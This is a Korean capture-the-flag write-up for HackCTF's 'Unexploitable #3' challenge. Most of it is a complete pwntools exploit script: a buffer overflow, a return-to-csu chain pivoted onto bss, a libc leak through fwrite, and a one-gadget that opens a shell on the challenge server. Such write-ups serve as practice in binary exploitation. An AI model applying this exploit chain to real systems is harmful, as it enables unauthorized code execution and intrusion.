pwn/HackCTF
hackCTF / Unexploitable #3
lok2h4rd
2022. 3. 15. 22:55



main함수에서 fgets를 통해 입력을 받으면서 bof가 터지고 rdx를 컨트롤할 가젯이 없어 rtc를 사용하기로 했다

leak하기 위해 fwrite을 사용 할 경우 rcx에 stdout의 주소를 pop rdi 가젯과 magic의 mov rcx, [rdi]를 차례대로 사용해 인자를 설정해주었다

뭐에 홀려서 그랬는지 모르겠는데 0x90다음에 0x100으로 넘어가는걸로 헷갈려서 0xa0만큼의 데이터만 사용해서 문제를 풀었다… ( ㅂㅅ쉨;)
지금 write up을 쓰면서 보니까 leak하고 다시 fget할 만큼 데이터를 충분히 받을 수 있었다...
from pwn import *
#context.log_level = 'debug'
p = remote("ctf.j0n9hyun.xyz", 3034)
#p = process("./Unexploitable_3")
e = ELF("./Unexploitable_3")
#gdb.attach(p)
stage1 = 0x40073a
stage2 = 0x400720
p_rdi = 0x400743
p_rbp = 0x4005a0
lev_ret = 0x4006de
di_rcx = 0x400658
stdout = 0x601050
main_fgets = 0x4006a3
fwrite = e.got['fwrite']
bss = e.bss()
fwrite_off = 0x6e6e0
oneshot_off = [0xf1147, 0xf02a4, 0x4526a, 0x45216]
def rep_fgets(payload):
p.recvuntil(b"you!\n")
p.sendline(payload)
#======= fake rbp ===================
payload = b"A" * 0x10
payload += p64(bss+0x110)
payload += p64(main_fgets)
rep_fgets(payload)
#======== rtc payload ================
payload = b"A" * 0x18 # 0x400
payload += p64(p_rbp)
payload += p64(bss+0x1a8)
payload += p64(main_fgets)
payload += p64(p_rdi)
payload += p64(stdout)
payload += p64(di_rcx)
payload += p64(stage1)
payload += p64(0)
payload += p64(1)
payload += p64(fwrite)
payload += p64(8)
payload += p64(1)
payload += p64(fwrite)
payload += p64(stage2)
payload += p64(0)
payload += p64(0)
sleep(0.1)
rep_fgets(payload)
#======== finish RTC ====================
payload = p64(bss+0x810)
payload += p64(0)
payload += p64(bss+0x128)
payload += p64(lev_ret)
payload += p64(0)
payload += p64(main_fgets)
sleep(0.1)
rep_fgets(payload)
# ============ memory leak ================
fwrite_ = u64(p.recv(6) + b"\x00\x00")
log.info("fwrite: " + hex(fwrite_))
libc_base = fwrite_ - fwrite_off
oneshot = libc_base + oneshot_off[0]
log.info("libc_base : " + hex(libc_base))
log.info("oneshot: " + hex(oneshot))
#========= execute shell ==================
payload = b"A" * 0x18
payload += p64(oneshot)
sleep(0.1)
rep_fgets(payload)
p.interactive()
익스 과정을 간단히 설명하자면 bss 영역에 memory leak rtc와 rop를 조금씩 쓴 뒤 fwrite 주소 leak하고 oneshot 가젯으로 쉘을 땄다 (0xa0만 쓰는 줄 알고 너무 돌아갔다.....)

처음에는 system함수 호출하는 방법으로 익스하려고 했는데 rsp, rbp주소도 잘 맞춰주고 rsi, rdx도 널로 설정하고 호출했는데도 쉘이 정상적으로 실행되지 않고 터져버렸다.... 그래서 그냥 oneshot gadget으로 익스했다...